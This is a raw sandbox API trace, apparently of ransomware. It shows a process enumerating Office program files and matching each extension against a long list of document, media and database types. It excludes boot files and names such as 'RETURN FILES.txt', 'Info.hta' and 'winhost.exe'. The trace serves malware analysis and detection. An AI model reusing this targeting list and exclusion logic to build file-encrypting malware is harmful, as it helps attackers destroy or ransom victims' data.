lstrcmpiW (lpString1=".aspx", lpString2="e.odc") returned -1 [0091.147] lstrlenW (lpString=".asr") returned 4 [0091.147] lstrcmpiW (lpString1=".asr", lpString2=".odc") returned -1 [0091.147] lstrlenW (lpString=".asx") returned 4 [0091.147] lstrcmpiW (lpString1=".asx", lpString2=".odc") returned -1 [0091.147] lstrlenW (lpString=".avi") returned 4 [0091.147] lstrcmpiW (lpString1=".avi", lpString2=".odc") returned -1 [0091.147] lstrlenW (lpString=".avs") returned 4 [0091.147] lstrcmpiW (lpString1=".avs", lpString2=".odc") returned -1 [0091.147] lstrlenW (lpString=".backup") returned 7 [0091.147] lstrcmpiW (lpString1=".backup", lpString2="rce.odc") returned -1 [0091.147] lstrlenW (lpString=".bak") returned 4 [0091.147] lstrcmpiW (lpString1=".bak", lpString2=".odc") returned -1 [0091.147] lstrlenW (lpString=".bay") returned 4 [0091.147] lstrcmpiW (lpString1=".bay", lpString2=".odc") returned -1 [0091.147] lstrlenW (lpString=".bd") returned 3 [0091.147] lstrcmpiW (lpString1=".bd", lpString2="odc") returned -1 [0091.147] lstrlenW (lpString=".bin") returned 4 [0091.148] lstrcmpiW (lpString1=".bin", lpString2=".odc") returned -1 [0091.148] lstrlenW (lpString=".bmp") returned 4 [0091.148] lstrcmpiW (lpString1=".bmp", lpString2=".odc") returned -1 [0091.148] lstrlenW (lpString=".bz2") returned 4 [0091.148] lstrcmpiW (lpString1=".bz2", lpString2=".odc") returned -1 [0091.148] lstrlenW (lpString=".c") returned 2 [0091.148] lstrcmpiW (lpString1=".c", lpString2="dc") returned -1 [0091.148] lstrlenW (lpString=".cdr") returned 4 [0091.148] lstrcmpiW (lpString1=".cdr", lpString2=".odc") returned -1 [0091.148] lstrlenW (lpString=".cer") returned 4 [0091.148] lstrcmpiW (lpString1=".cer", lpString2=".odc") returned -1 [0091.148] lstrlenW (lpString=".cf") returned 3 [0091.148] lstrcmpiW (lpString1=".cf", lpString2="odc") returned -1 [0091.148] lstrlenW (lpString=".cfc") returned 4 [0091.148] lstrcmpiW (lpString1=".cfc", lpString2=".odc") returned -1 [0091.148] lstrlenW (lpString=".cfm") returned 4 [0091.148] lstrcmpiW (lpString1=".cfm", lpString2=".odc") returned -1 [0091.148] lstrlenW (lpString=".cfml") returned 5 [0091.148] lstrcmpiW (lpString1=".cfml", lpString2="e.odc") returned -1 [0091.148] lstrlenW (lpString=".cfu") returned 4 [0091.148] lstrcmpiW (lpString1=".cfu", lpString2=".odc") returned -1 [0091.148] lstrlenW (lpString=".chm") returned 4 [0091.148] lstrcmpiW (lpString1=".chm", lpString2=".odc") returned -1 [0091.148] lstrlenW (lpString=".cin") returned 4 [0091.148] lstrcmpiW (lpString1=".cin", lpString2=".odc") returned -1 [0091.149] lstrlenW (lpString=".class") returned 6 [0091.149] lstrcmpiW (lpString1=".class", lpString2="ce.odc") returned -1 [0091.149] lstrlenW (lpString=".clx") returned 4 [0091.149] lstrcmpiW (lpString1=".clx", lpString2=".odc") returned -1 [0091.149] lstrlenW (lpString=".config") returned 7 [0091.149] lstrcmpiW (lpString1=".config", lpString2="rce.odc") returned -1 [0091.149] lstrlenW (lpString=".cpp") returned 4 [0091.149] lstrcmpiW (lpString1=".cpp", lpString2=".odc") returned -1 [0091.149] lstrlenW (lpString=".cr2") returned 4 [0091.149] lstrcmpiW (lpString1=".cr2", lpString2=".odc") returned -1 [0091.149] lstrlenW (lpString=".crt") returned 4 [0091.149] lstrcmpiW (lpString1=".crt", lpString2=".odc") returned -1 [0091.149] lstrlenW (lpString=".crw") returned 4 [0091.149] lstrcmpiW (lpString1=".crw", lpString2=".odc") returned -1 [0091.149] lstrlenW (lpString=".cs") returned 3 [0091.149] lstrcmpiW (lpString1=".cs", lpString2="odc") returned -1 [0091.149] lstrlenW (lpString=".css") returned 4 [0091.149] lstrcmpiW (lpString1=".css", lpString2=".odc") returned -1 [0091.150] lstrlenW (lpString=".csv") returned 4 [0091.150] lstrcmpiW (lpString1=".csv", lpString2=".odc") returned -1 [0091.150] lstrlenW (lpString=".cub") returned 4 [0091.150] lstrcmpiW (lpString1=".cub", lpString2=".odc") returned -1 [0091.150] lstrlenW (lpString=".dae") returned 4 [0091.150] lstrcmpiW (lpString1=".dae", lpString2=".odc") returned -1 [0091.150] lstrlenW (lpString=".dat") returned 4 [0091.150] lstrcmpiW (lpString1=".dat", lpString2=".odc") returned -1 [0091.150] lstrlenW (lpString=".db") returned 3 [0091.150] lstrcmpiW (lpString1=".db", lpString2="odc") returned -1 [0091.150] lstrlenW (lpString=".dbf") returned 4 [0091.150] lstrcmpiW (lpString1=".dbf", lpString2=".odc") returned -1 [0091.150] lstrlenW (lpString=".dbx") returned 4 [0091.150] lstrcmpiW (lpString1=".dbx", lpString2=".odc") returned -1 [0091.150] lstrlenW (lpString=".dc3") returned 4 [0091.151] lstrcmpiW (lpString1=".dc3", lpString2=".odc") returned -1 [0091.151] lstrlenW (lpString=".dcm") returned 4 [0091.151] lstrcmpiW (lpString1=".dcm", lpString2=".odc") returned -1 [0091.151] lstrlenW (lpString=".dcr") returned 4 [0091.151] lstrcmpiW (lpString1=".dcr", lpString2=".odc") returned -1 [0091.151] lstrlenW (lpString=".der") returned 4 [0091.151] lstrcmpiW (lpString1=".der", lpString2=".odc") returned -1 [0091.151] lstrlenW (lpString=".dib") returned 4 [0091.151] lstrcmpiW (lpString1=".dib", lpString2=".odc") returned -1 [0091.151] lstrlenW (lpString=".dic") returned 4 [0091.151] lstrcmpiW (lpString1=".dic", lpString2=".odc") returned -1 [0091.151] lstrlenW (lpString=".dif") returned 4 [0091.151] lstrcmpiW (lpString1=".dif", lpString2=".odc") returned -1 [0091.151] lstrlenW (lpString=".divx") returned 5 [0091.151] lstrcmpiW (lpString1=".divx", lpString2="e.odc") returned -1 [0091.151] lstrlenW (lpString=".djvu") returned 5 [0091.152] lstrcmpiW (lpString1=".djvu", lpString2="e.odc") returned -1 [0091.152] lstrlenW (lpString=".dng") returned 4 [0091.152] lstrcmpiW (lpString1=".dng", lpString2=".odc") returned -1 [0091.152] lstrlenW (lpString=".doc") returned 4 [0091.152] lstrcmpiW (lpString1=".doc", lpString2=".odc") returned -1 [0091.152] lstrlenW (lpString=".docm") returned 5 [0091.152] lstrcmpiW (lpString1=".docm", lpString2="e.odc") returned -1 [0091.152] lstrlenW (lpString=".docx") returned 5 [0091.152] lstrcmpiW (lpString1=".docx", lpString2="e.odc") returned -1 [0091.152] lstrlenW (lpString=".dot") returned 4 [0091.152] lstrcmpiW (lpString1=".dot", lpString2=".odc") returned -1 [0091.152] lstrlenW (lpString=".dotm") returned 5 [0091.152] lstrcmpiW (lpString1=".dotm", lpString2="e.odc") returned -1 [0091.152] lstrlenW (lpString=".dotx") returned 5 [0091.152] lstrcmpiW (lpString1=".dotx", lpString2="e.odc") returned -1 [0091.152] lstrlenW (lpString=".dpx") returned 4 [0091.152] lstrcmpiW (lpString1=".dpx", lpString2=".odc") returned -1 [0091.152] lstrlenW (lpString=".dqy") returned 4 [0091.153] lstrcmpiW (lpString1=".dqy", lpString2=".odc") returned -1 [0091.153] lstrlenW (lpString=".dsn") returned 4 [0091.153] lstrcmpiW (lpString1=".dsn", lpString2=".odc") returned -1 [0091.153] lstrlenW (lpString=".dt") returned 3 [0091.153] lstrcmpiW (lpString1=".dt", lpString2="odc") returned -1 [0091.153] lstrlenW (lpString=".dtd") returned 4 [0091.153] lstrcmpiW (lpString1=".dtd", lpString2=".odc") returned -1 [0091.153] lstrlenW (lpString=".dwg") returned 4 [0091.153] lstrcmpiW (lpString1=".dwg", lpString2=".odc") returned -1 [0091.153] lstrlenW (lpString=".dwt") returned 4 [0091.153] lstrcmpiW (lpString1=".dwt", lpString2=".odc") returned -1 [0091.153] lstrlenW (lpString=".dx") returned 3 [0091.153] lstrcmpiW (lpString1=".dx", lpString2="odc") returned -1 [0091.153] lstrlenW (lpString=".dxf") returned 4 [0091.153] lstrcmpiW (lpString1=".dxf", lpString2=".odc") returned -1 [0091.153] lstrlenW (lpString=".edml") returned 5 [0091.153] lstrcmpiW (lpString1=".edml", lpString2="e.odc") returned -1 [0091.153] lstrlenW (lpString=".efd") returned 4 [0091.153] lstrcmpiW (lpString1=".efd", lpString2=".odc") returned -1 [0091.153] lstrlenW (lpString=".elf") returned 4 [0091.153] lstrcmpiW (lpString1=".elf", lpString2=".odc") returned -1 [0091.153] lstrlenW (lpString=".emf") returned 4 [0091.154] lstrcmpiW (lpString1=".emf", lpString2=".odc") returned -1 [0091.154] lstrlenW (lpString=".emz") returned 4 [0091.154] lstrcmpiW (lpString1=".emz", lpString2=".odc") returned -1 [0091.154] lstrlenW (lpString=".epf") returned 4 [0091.154] lstrcmpiW (lpString1=".epf", lpString2=".odc") returned -1 [0091.154] lstrlenW (lpString=".eps") returned 4 [0091.154] lstrcmpiW (lpString1=".eps", lpString2=".odc") returned -1 [0091.154] lstrlenW (lpString=".epsf") returned 5 [0091.154] lstrcmpiW (lpString1=".epsf", lpString2="e.odc") returned -1 [0091.154] lstrlenW (lpString=".epsp") returned 5 [0091.154] lstrcmpiW (lpString1=".epsp", lpString2="e.odc") returned -1 [0091.154] lstrlenW (lpString=".erf") returned 4 [0091.154] lstrcmpiW (lpString1=".erf", lpString2=".odc") returned -1 [0091.154] lstrlenW (lpString=".exr") returned 4 [0091.155] lstrcmpiW (lpString1=".exr", lpString2=".odc") returned -1 [0091.155] lstrlenW (lpString=".f4v") returned 4 [0091.155] lstrcmpiW (lpString1=".f4v", lpString2=".odc") returned -1 [0091.155] lstrlenW (lpString=".fido") returned 5 [0091.155] lstrcmpiW (lpString1=".fido", lpString2="e.odc") returned -1 [0091.155] lstrlenW (lpString=".flm") returned 4 [0091.155] lstrcmpiW (lpString1=".flm", lpString2=".odc") returned -1 [0091.155] lstrlenW (lpString=".flv") returned 4 [0091.155] lstrcmpiW (lpString1=".flv", lpString2=".odc") returned -1 [0091.155] lstrlenW (lpString=".frm") returned 4 [0091.155] lstrcmpiW (lpString1=".frm", lpString2=".odc") returned -1 [0091.155] lstrlenW (lpString=".fxg") returned 4 [0091.155] lstrcmpiW (lpString1=".fxg", lpString2=".odc") returned -1 [0091.155] lstrlenW (lpString=".geo") returned 4 [0091.155] lstrcmpiW (lpString1=".geo", lpString2=".odc") returned -1 [0091.155] lstrlenW (lpString=".gif") returned 4 [0091.155] lstrcmpiW (lpString1=".gif", lpString2=".odc") returned -1 [0091.156] lstrlenW (lpString=".grs") returned 4 [0091.156] lstrcmpiW (lpString1=".grs", lpString2=".odc") returned -1 [0091.156] lstrlenW (lpString=".gz") returned 3 [0091.156] lstrcmpiW (lpString1=".gz", lpString2="odc") returned -1 [0091.156] lstrlenW (lpString=".h") returned 2 [0091.156] lstrcmpiW (lpString1=".h", lpString2="dc") returned -1 [0091.156] lstrlenW (lpString=".hdr") returned 4 [0091.156] lstrcmpiW (lpString1=".hdr", lpString2=".odc") returned -1 [0091.156] lstrlenW (lpString=".hpp") returned 4 [0091.156] lstrcmpiW (lpString1=".hpp", lpString2=".odc") returned -1 [0091.156] lstrlenW (lpString=".hta") returned 4 [0091.156] lstrcmpiW (lpString1=".hta", lpString2=".odc") returned -1 [0091.156] lstrlenW (lpString=".htc") returned 4 [0091.156] lstrcmpiW (lpString1=".htc", lpString2=".odc") returned -1 [0091.156] lstrlenW (lpString=".htm") returned 4 [0091.156] lstrcmpiW (lpString1=".htm", lpString2=".odc") returned -1 [0091.156] lstrlenW (lpString=".html") returned 5 [0091.156] lstrcmpiW (lpString1=".html", lpString2="e.odc") returned -1 [0091.156] lstrlenW (lpString=".icb") returned 4 [0091.156] lstrcmpiW (lpString1=".icb", lpString2=".odc") returned -1 [0091.156] lstrlenW (lpString=".ics") returned 4 [0091.156] lstrcmpiW (lpString1=".ics", lpString2=".odc") returned -1 [0091.156] lstrlenW (lpString=".iff") returned 4 [0091.156] lstrcmpiW (lpString1=".iff", lpString2=".odc") returned -1 [0091.157] lstrlenW (lpString=".inc") returned 4 [0091.157] lstrcmpiW (lpString1=".inc", lpString2=".odc") returned -1 [0091.157] lstrlenW (lpString=".indd") returned 5 [0091.157] lstrcmpiW (lpString1=".indd", lpString2="e.odc") returned -1 [0091.157] lstrlenW (lpString=".ini") returned 4 [0091.157] lstrcmpiW (lpString1=".ini", lpString2=".odc") returned -1 [0091.157] lstrlenW (lpString=".iqy") returned 4 [0091.157] lstrcmpiW (lpString1=".iqy", lpString2=".odc") returned -1 [0091.157] lstrlenW (lpString=".j2c") returned 4 [0091.157] lstrcmpiW (lpString1=".j2c", lpString2=".odc") returned -1 [0091.157] lstrlenW (lpString=".j2k") returned 4 [0091.157] lstrcmpiW (lpString1=".j2k", lpString2=".odc") returned -1 [0091.157] lstrlenW (lpString=".java") returned 5 [0091.157] lstrcmpiW (lpString1=".java", lpString2="e.odc") returned -1 [0091.157] lstrlenW (lpString=".jp2") returned 4 [0091.157] lstrcmpiW (lpString1=".jp2", lpString2=".odc") returned -1 [0091.157] lstrlenW (lpString=".jpc") returned 4 [0091.157] lstrcmpiW (lpString1=".jpc", lpString2=".odc") returned -1 [0091.157] lstrlenW (lpString=".jpe") returned 4 [0091.158] lstrcmpiW (lpString1=".jpe", lpString2=".odc") returned -1 [0091.158] lstrlenW (lpString=".jpeg") returned 5 [0091.158] lstrcmpiW (lpString1=".jpeg", lpString2="e.odc") returned -1 [0091.439] lstrlenW (lpString=".jpf") returned 4 [0091.439] lstrcmpiW (lpString1=".jpf", lpString2=".odc") returned -1 [0091.439] lstrlenW (lpString=".jpg") returned 4 [0091.439] lstrcmpiW (lpString1=".jpg", lpString2=".odc") returned -1 [0091.439] lstrlenW (lpString=".jpx") returned 4 [0091.439] lstrcmpiW (lpString1=".jpx", lpString2=".odc") returned -1 [0091.439] lstrlenW (lpString=".js") returned 3 [0091.439] lstrcmpiW (lpString1=".js", lpString2="odc") returned -1 [0091.439] lstrlenW (lpString=".jsf") returned 4 [0091.439] lstrcmpiW (lpString1=".jsf", lpString2=".odc") returned -1 [0091.439] lstrlenW (lpString=".json") returned 5 [0091.439] lstrcmpiW (lpString1=".json", lpString2="e.odc") returned -1 [0091.439] lstrlenW (lpString=".jsp") returned 4 [0091.439] lstrcmpiW (lpString1=".jsp", lpString2=".odc") returned -1 [0091.440] lstrlenW (lpString=".kdc") returned 4 [0091.440] lstrcmpiW (lpString1=".kdc", lpString2=".odc") returned -1 [0091.440] lstrlenW (lpString=".kmz") returned 4 [0091.440] lstrcmpiW (lpString1=".kmz", lpString2=".odc") returned -1 [0091.440] lstrlenW (lpString=".kwm") returned 4 [0091.440] lstrcmpiW (lpString1=".kwm", lpString2=".odc") returned -1 [0091.440] lstrlenW (lpString=".lasso") returned 6 [0091.440] lstrcmpiW (lpString1=".lasso", lpString2="ce.odc") returned -1 [0091.440] lstrlenW (lpString=".lbi") returned 4 [0091.440] lstrcmpiW (lpString1=".lbi", lpString2=".odc") returned -1 [0091.440] lstrlenW (lpString=".lgf") returned 4 [0091.440] lstrcmpiW (lpString1=".lgf", lpString2=".odc") returned -1 [0091.440] lstrlenW (lpString=".lgp") returned 4 [0091.440] lstrcmpiW (lpString1=".lgp", lpString2=".odc") returned -1 [0091.440] lstrlenW (lpString=".log") returned 4 [0091.440] lstrcmpiW (lpString1=".log", lpString2=".odc") returned -1 [0091.440] lstrlenW (lpString=".m1v") returned 4 [0091.440] lstrcmpiW (lpString1=".m1v", lpString2=".odc") returned -1 [0091.440] lstrlenW (lpString=".m4a") returned 4 [0091.441] lstrcmpiW (lpString1=".m4a", lpString2=".odc") returned -1 [0091.441] lstrlenW (lpString=".m4v") returned 4 [0091.441] lstrcmpiW (lpString1=".m4v", lpString2=".odc") returned -1 [0091.441] lstrlenW (lpString=".max") returned 4 [0091.441] lstrcmpiW (lpString1=".max", lpString2=".odc") returned -1 [0091.441] lstrlenW (lpString=".md") returned 3 [0091.441] lstrcmpiW (lpString1=".md", lpString2="odc") returned -1 [0091.441] lstrlenW (lpString=".mda") returned 4 [0091.441] lstrcmpiW (lpString1=".mda", lpString2=".odc") returned -1 [0091.441] lstrlenW (lpString=".mdb") returned 4 [0091.441] lstrcmpiW (lpString1=".mdb", lpString2=".odc") returned -1 [0091.441] lstrlenW (lpString=".mde") returned 4 [0091.441] lstrcmpiW (lpString1=".mde", lpString2=".odc") returned -1 [0091.441] lstrlenW (lpString=".mdf") returned 4 [0091.441] lstrcmpiW (lpString1=".mdf", lpString2=".odc") returned -1 [0091.441] lstrlenW (lpString=".mdw") returned 4 [0091.441] lstrcmpiW (lpString1=".mdw", lpString2=".odc") returned -1 [0091.441] lstrlenW (lpString=".mef") returned 4 [0091.441] lstrcmpiW (lpString1=".mef", lpString2=".odc") returned -1 [0091.441] lstrlenW (lpString=".mft") returned 4 [0091.441] lstrcmpiW (lpString1=".mft", lpString2=".odc") returned -1 [0091.442] lstrlenW (lpString=".mfw") returned 4 [0091.442] lstrcmpiW (lpString1=".mfw", lpString2=".odc") returned -1 [0091.442] lstrlenW (lpString=".mht") returned 4 [0091.442] lstrcmpiW (lpString1=".mht", lpString2=".odc") returned -1 [0091.442] lstrlenW (lpString=".mhtml") returned 6 [0091.442] lstrcmpiW (lpString1=".mhtml", lpString2="ce.odc") returned -1 [0091.442] lstrlenW (lpString=".mka") returned 4 [0091.442] lstrcmpiW (lpString1=".mka", lpString2=".odc") returned -1 [0091.442] lstrlenW (lpString=".mkidx") returned 6 [0091.442] lstrcmpiW (lpString1=".mkidx", lpString2="ce.odc") returned -1 [0091.442] lstrlenW (lpString=".mkv") returned 4 [0091.442] lstrcmpiW (lpString1=".mkv", lpString2=".odc") returned -1 [0091.442] lstrlenW (lpString=".mos") returned 4 [0091.442] lstrcmpiW (lpString1=".mos", lpString2=".odc") returned -1 [0091.442] lstrlenW (lpString=".mov") returned 4 [0091.442] lstrcmpiW (lpString1=".mov", lpString2=".odc") returned -1 [0091.442] lstrlenW (lpString=".mp3") returned 4 [0091.442] lstrcmpiW (lpString1=".mp3", lpString2=".odc") returned -1 [0091.442] lstrlenW (lpString=".mp4") returned 4 [0091.442] lstrcmpiW (lpString1=".mp4", lpString2=".odc") returned -1 [0091.442] lstrlenW (lpString=".mpeg") returned 5 [0091.443] lstrcmpiW (lpString1=".mpeg", lpString2="e.odc") returned -1 [0091.443] lstrlenW (lpString=".mpg") returned 4 [0091.443] lstrcmpiW (lpString1=".mpg", lpString2=".odc") returned -1 [0091.443] lstrlenW (lpString=".mpv") returned 4 [0091.443] lstrcmpiW (lpString1=".mpv", lpString2=".odc") returned -1 [0091.443] lstrlenW (lpString=".mrw") returned 4 [0091.443] lstrcmpiW (lpString1=".mrw", lpString2=".odc") returned -1 [0091.443] lstrlenW (lpString=".msg") returned 4 [0091.443] lstrcmpiW (lpString1=".msg", lpString2=".odc") returned -1 [0091.443] lstrlenW (lpString=".mxl") returned 4 [0091.443] lstrcmpiW (lpString1=".mxl", lpString2=".odc") returned -1 [0091.443] lstrlenW (lpString=".myd") returned 4 [0091.443] lstrcmpiW (lpString1=".myd", lpString2=".odc") returned -1 [0091.443] lstrlenW (lpString=".myi") returned 4 [0091.443] lstrcmpiW (lpString1=".myi", lpString2=".odc") returned -1 [0091.443] lstrlenW (lpString=".nef") returned 4 [0091.443] lstrcmpiW (lpString1=".nef", lpString2=".odc") returned -1 [0091.443] lstrlenW (lpString=".nrw") returned 4 [0091.443] lstrcmpiW (lpString1=".nrw", lpString2=".odc") returned -1 [0091.443] lstrlenW (lpString=".obj") returned 4 [0091.443] lstrcmpiW (lpString1=".obj", lpString2=".odc") returned -1 [0091.444] lstrlenW (lpString=".odb") returned 4 [0091.444] lstrcmpiW (lpString1=".odb", lpString2=".odc") returned -1 [0091.444] lstrlenW (lpString=".odc") returned 4 [0091.444] lstrcmpiW (lpString1=".odc", lpString2=".odc") returned 0 [0091.444] lstrlenW (lpString="+Connect to New Data Source.odc") returned 31 [0091.444] lstrlenW (lpString=".data") returned 5 [0091.444] lstrcmpiW (lpString1=".data", lpString2="e.odc") returned -1 [0091.444] lstrlenW (lpString="+Connect to New Data Source.odc") returned 31 [0091.444] lstrcmpiW (lpString1="boot.ini", lpString2="+Connect to New Data Source.odc") returned 1 [0091.444] lstrcmpiW (lpString1="bootfont.bin", lpString2="+Connect to New Data Source.odc") returned 1 [0091.444] lstrcmpiW (lpString1="ntldr", lpString2="+Connect to New Data Source.odc") returned 1 [0091.444] lstrcmpiW (lpString1="ntdetect.com", lpString2="+Connect to New Data Source.odc") returned 1 [0091.444] lstrcmpiW (lpString1="io.sys", lpString2="+Connect to New Data Source.odc") returned 1 [0091.444] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="+Connect to New Data Source.odc") returned 1 [0091.444] lstrcmpiW (lpString1="Info.hta", lpString2="+Connect to New Data Source.odc") returned 1 [0091.444] lstrcmpiW (lpString1="winhost.exe", lpString2="+Connect to New Data Source.odc") returned 1 [0091.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc") returned 92 [0091.444] FindNextFileW (in: hFindFile=0x3974270, lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6254800, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa6254800, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="+NewSQLServerConnection.odc", cAlternateFileName="_NEWSQ~1.ODC")) returned 1 [0091.444] lstrlenW (lpString="+NewSQLServerConnection.odc") returned 27 [0091.444] lstrlenW (lpString=".1cd") returned 4 [0091.445] lstrcmpiW (lpString1=".1cd", lpString2=".odc") returned -1 [0091.445] lstrlenW (lpString=".3ds") returned 4 [0091.445] lstrcmpiW (lpString1=".3ds", lpString2=".odc") returned -1 [0091.445] lstrlenW (lpString=".3fr") returned 4 [0091.445] lstrcmpiW (lpString1=".3fr", lpString2=".odc") returned -1 [0091.445] lstrlenW (lpString=".3g2") returned 4 [0091.445] lstrcmpiW (lpString1=".3g2", lpString2=".odc") returned -1 [0091.445] lstrlenW (lpString=".3gp") returned 4 [0091.445] lstrcmpiW (lpString1=".3gp", lpString2=".odc") returned -1 [0091.445] lstrlenW (lpString=".7z") returned 3 [0091.445] lstrcmpiW (lpString1=".7z", lpString2="odc") returned -1 [0091.445] lstrlenW (lpString=".accda") returned 6 [0091.445] lstrcmpiW (lpString1=".accda", lpString2="on.odc") returned -1 [0091.445] lstrlenW (lpString=".accdb") returned 6 [0091.445] lstrcmpiW (lpString1=".accdb", lpString2="on.odc") returned -1 [0091.445] lstrlenW (lpString=".accdc") returned 6 [0091.445] lstrcmpiW (lpString1=".accdc", lpString2="on.odc") returned -1 [0091.445] lstrlenW (lpString=".accde") returned 6 [0091.445] lstrcmpiW (lpString1=".accde", lpString2="on.odc") returned -1 [0091.445] lstrlenW (lpString=".accdt") returned 6 [0091.445] lstrcmpiW (lpString1=".accdt", lpString2="on.odc") returned -1 [0091.445] lstrlenW (lpString=".accdw") returned 6 [0091.446] lstrcmpiW (lpString1=".accdw", lpString2="on.odc") returned -1 [0091.446] lstrlenW (lpString=".adb") returned 4 [0091.446] lstrcmpiW (lpString1=".adb", lpString2=".odc") returned -1 [0091.446] lstrlenW (lpString=".adp") returned 4 [0091.446] lstrcmpiW (lpString1=".adp", lpString2=".odc") returned -1 [0091.446] lstrlenW (lpString=".ai") returned 3 [0091.446] lstrcmpiW (lpString1=".ai", lpString2="odc") returned -1 [0091.446] lstrlenW (lpString=".ai3") returned 4 [0091.446] lstrcmpiW (lpString1=".ai3", lpString2=".odc") returned -1 [0091.446] lstrlenW (lpString=".ai4") returned 4 [0091.446] lstrcmpiW (lpString1=".ai4", lpString2=".odc") returned -1 [0091.446] lstrlenW (lpString=".ai5") returned 4 [0091.446] lstrcmpiW (lpString1=".ai5", lpString2=".odc") returned -1 [0091.446] lstrlenW (lpString=".ai6") returned 4 [0091.446] lstrcmpiW (lpString1=".ai6", lpString2=".odc") returned -1 [0091.446] lstrlenW (lpString=".ai7") returned 4 [0091.446] lstrcmpiW (lpString1=".ai7", lpString2=".odc") returned -1 [0091.446] lstrlenW (lpString=".ai8") returned 4 [0091.447] lstrcmpiW (lpString1=".ai8", lpString2=".odc") returned -1 [0091.447] lstrlenW (lpString=".anim") returned 5 [0091.447] lstrcmpiW (lpString1=".anim", lpString2="n.odc") returned -1 [0091.447] lstrlenW (lpString=".arw") returned 4 [0091.447] lstrcmpiW (lpString1=".arw", lpString2=".odc") returned -1 [0091.447] lstrlenW (lpString=".as") returned 3 [0091.447] lstrcmpiW (lpString1=".as", lpString2="odc") returned -1 [0091.447] lstrlenW (lpString=".asa") returned 4 [0091.447] lstrcmpiW (lpString1=".asa", lpString2=".odc") returned -1 [0091.447] lstrlenW (lpString=".asc") returned 4 [0091.447] lstrcmpiW (lpString1=".asc", lpString2=".odc") returned -1 [0091.447] lstrlenW (lpString=".ascx") returned 5 [0091.447] lstrcmpiW (lpString1=".ascx", lpString2="n.odc") returned -1 [0091.447] lstrlenW (lpString=".asm") returned 4 [0091.447] lstrcmpiW (lpString1=".asm", lpString2=".odc") returned -1 [0091.447] lstrlenW (lpString=".asmx") returned 5 [0091.447] lstrcmpiW (lpString1=".asmx", lpString2="n.odc") returned -1 [0091.447] lstrlenW (lpString=".asp") returned 4 [0091.447] lstrcmpiW (lpString1=".asp", lpString2=".odc") returned -1 [0091.447] lstrlenW (lpString=".aspx") returned 5 [0091.447] lstrcmpiW (lpString1=".aspx", lpString2="n.odc") returned -1 [0091.448] lstrlenW (lpString=".asr") returned 4 [0091.448] lstrcmpiW (lpString1=".asr", lpString2=".odc") returned -1 [0091.448] lstrlenW (lpString=".asx") returned 4 [0091.448] lstrcmpiW (lpString1=".asx", lpString2=".odc") returned -1 [0091.448] lstrlenW (lpString=".avi") returned 4 [0091.448] lstrcmpiW (lpString1=".avi", lpString2=".odc") returned -1 [0091.448] lstrlenW (lpString=".avs") returned 4 [0091.448] lstrcmpiW (lpString1=".avs", lpString2=".odc") returned -1 [0091.448] lstrlenW (lpString=".backup") returned 7 [0091.448] lstrcmpiW (lpString1=".backup", lpString2="ion.odc") returned -1 [0091.448] lstrlenW (lpString=".bak") returned 4 [0091.448] lstrcmpiW (lpString1=".bak", lpString2=".odc") returned -1 [0091.448] lstrlenW (lpString=".bay") returned 4 [0091.448] lstrcmpiW (lpString1=".bay", lpString2=".odc") returned -1 [0091.448] lstrlenW (lpString=".bd") returned 3 [0091.448] lstrcmpiW (lpString1=".bd", lpString2="odc") returned -1 [0091.448] lstrlenW (lpString=".bin") returned 4 [0091.448] lstrcmpiW (lpString1=".bin", lpString2=".odc") returned -1 [0091.448] lstrlenW (lpString=".bmp") returned 4 [0091.448] lstrcmpiW (lpString1=".bmp", lpString2=".odc") returned -1 [0091.448] lstrlenW (lpString=".bz2") returned 4 [0091.448] lstrcmpiW (lpString1=".bz2", lpString2=".odc") returned -1 [0091.448] lstrlenW (lpString=".c") returned 2 [0091.448] lstrcmpiW (lpString1=".c", lpString2="dc") returned -1 [0091.448] lstrlenW (lpString=".cdr") returned 4 [0091.448] lstrcmpiW (lpString1=".cdr", lpString2=".odc") returned -1 [0091.448] lstrlenW (lpString=".cer") returned 4 [0091.449] lstrcmpiW (lpString1=".cer", lpString2=".odc") returned -1 [0091.449] lstrlenW (lpString=".cf") returned 3 [0091.449] lstrcmpiW (lpString1=".cf", lpString2="odc") returned -1 [0091.449] lstrlenW (lpString=".cfc") returned 4 [0091.449] lstrcmpiW (lpString1=".cfc", lpString2=".odc") returned -1 [0091.449] lstrlenW (lpString=".cfm") returned 4 [0091.449] lstrcmpiW (lpString1=".cfm", lpString2=".odc") returned -1 [0091.449] lstrlenW (lpString=".cfml") returned 5 [0091.449] lstrcmpiW (lpString1=".cfml", lpString2="n.odc") returned -1 [0091.449] lstrlenW (lpString=".cfu") returned 4 [0091.449] lstrcmpiW (lpString1=".cfu", lpString2=".odc") returned -1 [0091.449] lstrlenW (lpString=".chm") returned 4 [0091.449] lstrcmpiW (lpString1=".chm", lpString2=".odc") returned -1 [0091.449] lstrlenW (lpString=".cin") returned 4 [0091.449] lstrcmpiW (lpString1=".cin", lpString2=".odc") returned -1 [0091.449] lstrlenW (lpString=".class") returned 6 [0091.449] lstrcmpiW (lpString1=".class", lpString2="on.odc") returned -1 [0091.449] lstrlenW (lpString=".clx") returned 4 [0091.449] lstrcmpiW (lpString1=".clx", lpString2=".odc") returned -1 [0091.449] lstrlenW (lpString=".config") returned 7 [0091.449] lstrcmpiW (lpString1=".config", lpString2="ion.odc") returned -1 [0091.449] lstrlenW (lpString=".cpp") returned 4 [0091.450] FindNextFileW (in: hFindFile=0x3974270, lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5811c800, ftCreationTime.dwHighDateTime=0x1bff783, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5811c800, ftLastWriteTime.dwHighDateTime=0x1bff783, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKTOP.INI", cAlternateFileName="")) returned 1 [0091.450] lstrlenW (lpString="DESKTOP.INI") returned 11 [0091.450] lstrlenW (lpString=".1cd") returned 4 [0091.450] FindNextFileW (in: hFindFile=0x3974270, 